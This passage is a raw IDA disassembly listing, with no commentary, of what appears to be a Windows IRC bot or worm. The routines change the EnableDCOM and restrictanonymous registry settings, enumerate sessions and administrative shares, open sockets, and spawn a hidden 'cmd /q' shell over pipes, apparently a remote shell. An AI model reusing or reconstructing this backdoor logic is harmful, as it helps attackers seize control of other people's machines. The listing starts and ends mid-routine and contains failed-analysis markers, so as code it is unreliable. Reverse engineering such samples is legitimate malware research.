mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 261077Ch
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_415CAD
call dword_43ADA4
test eax, eax
mov eax, offset dword_4332F8
jnz short loc_415C96
mov eax, offset byte_436EDC
loc_415C96: ; CODE XREF: sub_415C5E+31j
push eax
push esi
push offset dword_4332F0
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41782A
add esp, 14h
jmp short loc_415CCD
; ---------------------------------------------------------------------------
loc_415CAD: ; CODE XREF: sub_415C5E+22j
call dword_43ADA4
test eax, eax
mov eax, offset dword_4332F8
jnz short loc_415CC1
mov eax, offset byte_436EDC
loc_415CC1: ; CODE XREF: sub_415C5E+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_415CCD: ; CODE XREF: sub_415C5E+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_417AB0
pop ecx
cmp eax, 2
pop esi
jbe short loc_415CFC
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_418DE0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_418C10
add esp, 18h
loc_415CFC: ; CODE XREF: sub_415C5E+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_415C5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp
; sub_40ECFA+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_43327C
loc_415D0D: ; CODE XREF: sub_415D01+3Fj
cmp [ebp+arg_C], 0
jz short loc_415D28
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_4176D0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_415D32
; ---------------------------------------------------------------------------
loc_415D28: ; CODE XREF: sub_415D01+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_415D32: ; CODE XREF: sub_415D01+25j
test eax, eax
jnz short loc_415D44
add esi, 14h
inc edi
cmp esi, offset dword_4332E0
jb short loc_415D0D
jmp short loc_415D52
; ---------------------------------------------------------------------------
loc_415D44: ; CODE XREF: sub_415D01+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_433280[eax*4]
pop ecx
loc_415D52: ; CODE XREF: sub_415D01+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_415D65
push [ebp+arg_0]
call sub_415C5E
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415D65: ; CODE XREF: sub_415D01+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_415D01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D6A proc near
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43AD98
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43AE18
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_415E28
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43AD40
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_4407FC[ecx], esi
jz short loc_415E28
push [ebp+var_34]
push [ebp+var_28]
call dword_43AE24
push eax
mov edi, offset dword_4CD784
push offset unk_4332FC
push edi
call sub_4172B0
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40D679
push edi
call sub_40BF6D
add esp, 28h
loc_415E28: ; CODE XREF: sub_415D6A+5Dj
; sub_415D6A+7Ej
push esi
call dword_43AE30
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_415D6A endp
; ---------------------------------------------------------------------------
byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E0o
dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h
dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh
dd 8B500000h, 0C069DC45h, 234h, 4405F005h, 6DE85000h, 8300002Dh
dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh
dd 0ADA5E857h, 3B900227h, 0FC4589C7h, 7D390B74h, 6A0675F4h
dd 0EBD6FF32h, 0FC75FFF5h, 0AA19E890h, 0B3FF0222h, 88h
dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh, 8458950h
dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
dd 1470h, 0E90CC483h, 0FFFFFF3Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_415F6F
call sub_415F88
jmp short loc_415F74
; ---------------------------------------------------------------------------
loc_415F6F: ; CODE XREF: sub_415F28+3Ej
call sub_4162AC
loc_415F74: ; CODE XREF: sub_415F28+45j
add esp, 10h
push [ebp+var_14]
call sub_417078
pop ecx
push 0
nop
call near ptr 261031Eh
sub_415F28 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F88 proc near ; CODE XREF: sub_415F28+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43AE68, edi
jnz loc_4160BA
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43AE08
test eax, eax
jnz short loc_416013
mov ax, word_4336E4
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43ADBC
test eax, eax
jz short loc_415FF5
push offset unk_4336A4
jmp short loc_415FFA
; ---------------------------------------------------------------------------
loc_415FF5: ; CODE XREF: sub_415F88+64j
push offset dword_433678
loc_415FFA: ; CODE XREF: sub_415F88+6Bj
lea eax, [ebp+var_214]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43AD74
jmp short loc_416026
; ---------------------------------------------------------------------------
loc_416013: ; CODE XREF: sub_415F88+36j
lea eax, [ebp+var_214]
push offset unk_433638
push eax
call sub_4172B0
pop ecx
pop ecx
loc_416026: ; CODE XREF: sub_415F88+89j
cmp [ebp+arg_C], edi
jnz short loc_416045
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416045: ; CODE XREF: sub_415F88+A1j
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43AE08
test eax, eax
jnz short loc_4160B3
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43ADBC
test eax, eax
jz short loc_416095
push offset unk_4335D8
jmp short loc_41609A
; ---------------------------------------------------------------------------
loc_416095: ; CODE XREF: sub_415F88+104j
push offset unk_433594
loc_41609A: ; CODE XREF: sub_415F88+10Bj
lea eax, [ebp+var_214]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43AD74
jmp short loc_4160CD
; ---------------------------------------------------------------------------
loc_4160B3: ; CODE XREF: sub_415F88+E2j
push offset unk_433548
jmp short loc_4160BF
; ---------------------------------------------------------------------------
loc_4160BA: ; CODE XREF: sub_415F88+13j
push offset unk_433508
loc_4160BF: ; CODE XREF: sub_415F88+130j
lea eax, [ebp+var_214]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4160CD: ; CODE XREF: sub_415F88+129j
cmp [ebp+arg_C], edi
jnz short loc_4160EC
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_4160EC: ; CODE XREF: sub_415F88+148j
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
cmp dword_43AE90, edi
pop ecx
jnz loc_416267
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41610F: ; CODE XREF: sub_415F88+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43ACE4
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_4161AC
cmp eax, 0EAh
jz short loc_4161AC
mov esi, offset off_433370
loc_416140: ; CODE XREF: sub_415F88+21Dj
push dword ptr [esi]
push edi
call sub_40DCC3
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_416157
push offset unk_4334D4
jmp short loc_41615C
; ---------------------------------------------------------------------------
loc_416157: ; CODE XREF: sub_415F88+1C6j
push offset unk_433498
loc_41615C: ; CODE XREF: sub_415F88+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41618F
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_41618F: ; CODE XREF: sub_415F88+1EBj
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
add esi, 8
pop ecx
cmp esi, offset dword_433390
jb short loc_416140
jmp loc_416244
; ---------------------------------------------------------------------------
loc_4161AC: ; CODE XREF: sub_415F88+1AAj
; sub_415F88+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41623B
loc_4161BB: ; CODE XREF: sub_415F88+2AFj
mov edi, [esi]
push edi
call sub_41999C
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_416230
push edi
call sub_40DBB0
push eax
push 0
call sub_40DCC3
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_4161EA
push offset unk_433464
jmp short loc_4161EF
; ---------------------------------------------------------------------------
loc_4161EA: ; CODE XREF: sub_415F88+259j
push offset unk_433428
loc_4161EF: ; CODE XREF: sub_415F88+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_416223
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416223: ; CODE XREF: sub_415F88+27Fj
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
pop ecx
loc_416230: ; CODE XREF: sub_415F88+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_4161BB
xor edi, edi
loc_41623B: ; CODE XREF: sub_415F88+22Dj
push [ebp+var_8]
call dword_43AE28
loc_416244: ; CODE XREF: sub_415F88+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41610F
lea eax, [ebp+var_214]
push offset unk_4333F0
push eax
call sub_4172B0
pop ecx
pop ecx
pop ebx
jmp short loc_41627A
; ---------------------------------------------------------------------------
loc_416267: ; CODE XREF: sub_415F88+177j
lea eax, [ebp+var_214]
push offset unk_4333B0
push eax
call sub_4172B0
pop ecx
pop ecx
loc_41627A: ; CODE XREF: sub_415F88+2DDj
cmp [ebp+arg_C], edi
jnz short loc_416298
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416298: ; CODE XREF: sub_415F88+2F5j
lea eax, [ebp+var_214]
push eax
call sub_40BF6D
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_415F88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43AE68, ebx
push esi
jnz loc_4163DA
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43AE08
test eax, eax
jnz short loc_416337
mov ax, word_4338CC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43ADBC
test eax, eax
jz short loc_416319
push offset unk_433898
jmp short loc_41631E
; ---------------------------------------------------------------------------
loc_416319: ; CODE XREF: sub_4162AC+64j
push offset dword_43386C
loc_41631E: ; CODE XREF: sub_4162AC+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43AD74
jmp short loc_41634A
; ---------------------------------------------------------------------------
loc_416337: ; CODE XREF: sub_4162AC+36j
lea eax, [ebp+var_220]
push offset unk_433638
push eax
call sub_4172B0
pop ecx
pop ecx
loc_41634A: ; CODE XREF: sub_4162AC+89j
cmp [ebp+arg_C], ebx
jnz short loc_416369
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416369: ; CODE XREF: sub_4162AC+A1j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43AE08
test eax, eax
jnz short loc_4163D3
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43ADBC
test eax, eax
jz short loc_4163B5
push offset unk_433820
jmp short loc_4163BA
; ---------------------------------------------------------------------------
loc_4163B5: ; CODE XREF: sub_4162AC+100j
push offset unk_4337DC
loc_4163BA: ; CODE XREF: sub_4162AC+107j
lea eax, [ebp+var_220]
push eax
call sub_4172B0
pop ecx
pop ecx
push [ebp+var_4]
call dword_43AD74
jmp short loc_4163ED
; ---------------------------------------------------------------------------
loc_4163D3: ; CODE XREF: sub_4162AC+E2j
push offset unk_433790
jmp short loc_4163DF
; ---------------------------------------------------------------------------
loc_4163DA: ; CODE XREF: sub_4162AC+13j
push offset unk_433508
loc_4163DF: ; CODE XREF: sub_4162AC+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4163ED: ; CODE XREF: sub_4162AC+125j
cmp [ebp+arg_C], ebx
jnz short loc_41640C
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_41640C: ; CODE XREF: sub_4162AC+144j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
cmp dword_43AE90, ebx
pop ecx
jnz loc_416581
push edi
mov esi, offset off_433370
mov edi, 200h
loc_416430: ; CODE XREF: sub_4162AC+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_40DC17
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41644B
push offset unk_433760
jmp short loc_416450
; ---------------------------------------------------------------------------
loc_41644B: ; CODE XREF: sub_4162AC+196j
push offset unk_433728
loc_416450: ; CODE XREF: sub_4162AC+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41647F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_41647F: ; CODE XREF: sub_4162AC+1B7j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
add esi, 8
pop ecx
cmp esi, offset off_433380
jb short loc_416430
nop
call near ptr 28004FEh
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_416569
loc_4164AA: ; CODE XREF: sub_4162AC+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41655E
cmp bl, 41h
jz loc_41655E
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_43ADF8
cmp eax, 3
jnz short loc_41655E
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_40DC17
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41651C
push offset unk_433760
jmp short loc_416521
; ---------------------------------------------------------------------------
loc_41651C: ; CODE XREF: sub_4162AC+267j
push offset unk_433728
loc_416521: ; CODE XREF: sub_4162AC+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41782A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_416551
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_416551: ; CODE XREF: sub_4162AC+289j
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
pop ecx
loc_41655E: ; CODE XREF: sub_4162AC+206j
; sub_4162AC+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_4164AA
loc_416569: ; CODE XREF: sub_4162AC+1F8j
lea eax, [ebp+var_220]
push offset unk_4336E8
push eax
call sub_4172B0
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_416594
; ---------------------------------------------------------------------------
loc_416581: ; CODE XREF: sub_4162AC+173j
lea eax, [ebp+var_220]
push offset unk_4333B0
push eax
call sub_4172B0
pop ecx
pop ecx
loc_416594: ; CODE XREF: sub_4162AC+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_4165B2
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_4165B2: ; CODE XREF: sub_4162AC+2EBj
lea eax, [ebp+var_220]
push eax
call sub_40BF6D
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_4162AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165C6 proc near ; CODE XREF: ___:0041562Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_416717
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_4407FC[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_4240A0
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4168E9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_416631
nop
call near ptr 2660B07h
push eax
push offset dword_433914
call sub_40BFE1
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41666B
; ---------------------------------------------------------------------------
loc_416631: ; CODE XREF: sub_4165C6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_41699B
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_416672
call near ptr 2660B07h
nop
push eax
push offset dword_433914
call sub_40BFE1
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 27F091Fh
nop
loc_41666B: ; CODE XREF: sub_4165C6+69j
xor eax, eax
jmp loc_416712
; ---------------------------------------------------------------------------
loc_416672: ; CODE XREF: sub_4165C6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 2800763h
sub eax, ebx
jz short loc_4166CC
dec eax
jz short loc_4166C6
dec eax
jz short loc_4166B2
nop
call near ptr 2660B07h
push eax
push offset dword_4338D0
call sub_40BFE1
pop ecx
pop ecx
jmp short loc_4166E1
; ---------------------------------------------------------------------------
loc_4166B2: ; CODE XREF: sub_4165C6+D5j
mov edi, dword_424168
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4166E1
; ---------------------------------------------------------------------------
loc_4166C6: ; CODE XREF: sub_4165C6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4166D0
; ---------------------------------------------------------------------------
loc_4166CC: ; CODE XREF: sub_4165C6+CFj
push ebx
push dword ptr [esi+14h]
loc_4166D0: ; CODE XREF: sub_4165C6+104j
call near ptr 27F091Fh
nop
push 1
push dword ptr [esi+8]
nop
call near ptr 27F0B48h
loc_4166E1: ; CODE XREF: sub_4165C6+EAj
; sub_4165C6+FEj
push dword ptr [esi+10h]
mov edi, dword_424078
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_43AE30
push esi
call sub_417C3B
pop ecx
push 1
pop eax
loc_416712: ; CODE XREF: sub_4165C6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4165C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416717 proc near ; CODE XREF: sub_4165C6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_417B89
mov esi, eax
pop ecx
cmp esi, edi
jz loc_416801
mov ebx, dword_424140
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_424078
test eax, eax
jnz short loc_41677A
nop
call near ptr 2660B07h
push eax
push offset dword_4339F4
jmp short loc_41679A
; ---------------------------------------------------------------------------
loc_41677A: ; CODE XREF: sub_416717+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_4167A2
call near ptr 2660B07h
nop
push eax
push offset dword_4339A4
loc_41679A: ; CODE XREF: sub_416717+61j
call sub_40BFE1
pop ecx
jmp short loc_4167D0
; ---------------------------------------------------------------------------
loc_4167A2: ; CODE XREF: sub_416717+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_416810
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_416805
push offset dword_43396C
call sub_40BF6D
loc_4167D0: ; CODE XREF: sub_416717+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4167DC
push [ebp+var_4]
call edi
loc_4167DC: ; CODE XREF: sub_416717+BEj
cmp [ebp+var_8], 0
jz short loc_4167E7
push [ebp+var_8]
call edi
loc_4167E7: ; CODE XREF: sub_416717+C9j
mov eax, [esi]
test eax, eax
jz short loc_4167F0
push eax
call edi
loc_4167F0: ; CODE XREF: sub_416717+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_4167FA
push eax
call edi
loc_4167FA: ; CODE XREF: sub_416717+DEj
push esi
call sub_417C3B
pop ecx
loc_416801: ; CODE XREF: sub_416717+1Dj
xor eax, eax
jmp short loc_41680B
; ---------------------------------------------------------------------------
loc_416805: ; CODE XREF: sub_416717+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41680B: ; CODE XREF: sub_416717+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_416717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416810 proc near ; CODE XREF: sub_416717+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_417330
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417330
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_42413C
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 27A0000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 2760BE6h
nop
test eax, eax
jz short loc_4168CC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_4407F8[eax], ecx
call near ptr 26408F3h
nop
jmp short loc_4168E2
; ---------------------------------------------------------------------------
loc_4168CC: ; CODE XREF: sub_416810+9Aj
call near ptr 2660B07h
nop
push eax
push offset dword_433A44
call sub_40BFE1
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4168E2: ; CODE XREF: sub_416810+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_416810 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
